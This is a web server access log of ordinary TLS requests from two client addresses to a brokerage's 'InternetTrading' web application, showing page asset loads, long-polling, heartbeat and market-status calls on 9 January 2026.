[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767921581797 HTTP/1.1" 3188
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:15:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921584829 HTTP/1.1" -
[09/Jan/2026:09:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921589972 HTTP/1.1" -
[09/Jan/2026:09:15:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921595116 HTTP/1.1" -
[09/Jan/2026:09:15:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921600250 HTTP/1.1" -
[09/Jan/2026:09:15:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:15:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:15:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921605379 HTTP/1.1" -
[09/Jan/2026:09:15:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921610424 HTTP/1.1" -
[09/Jan/2026:09:15:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921615569 HTTP/1.1" -
[09/Jan/2026:09:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921620701 HTTP/1.1" -
[09/Jan/2026:09:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921625851 HTTP/1.1" -
[09/Jan/2026:09:15:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921630989 HTTP/1.1" -
[09/Jan/2026:09:16:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:16:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:16:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:16:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:16:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921636104 HTTP/1.1" -
[09/Jan/2026:09:16:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921641158 HTTP/1.1" -
[09/Jan/2026:09:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921646249 HTTP/1.1" -
[09/Jan/2026:09:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921651380 HTTP/1.1" -
[09/Jan/2026:09:16:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921656615 HTTP/1.1" -
[09/Jan/2026:09:16:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921661743 HTTP/1.1" -
[09/Jan/2026:09:16:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:16:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:16:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:16:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:16:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921666882 HTTP/1.1" -
[09/Jan/2026:09:16:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921671946 HTTP/1.1" -
[09/Jan/2026:09:16:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921677089 HTTP/1.1" -
[09/Jan/2026:09:16:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921682268 HTTP/1.1" -
[09/Jan/2026:09:16:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921687467 HTTP/1.1" -
[09/Jan/2026:09:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921692591 HTTP/1.1" -
[09/Jan/2026:09:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921697781 HTTP/1.1" -
[09/Jan/2026:09:17:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921702839 HTTP/1.1" -
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
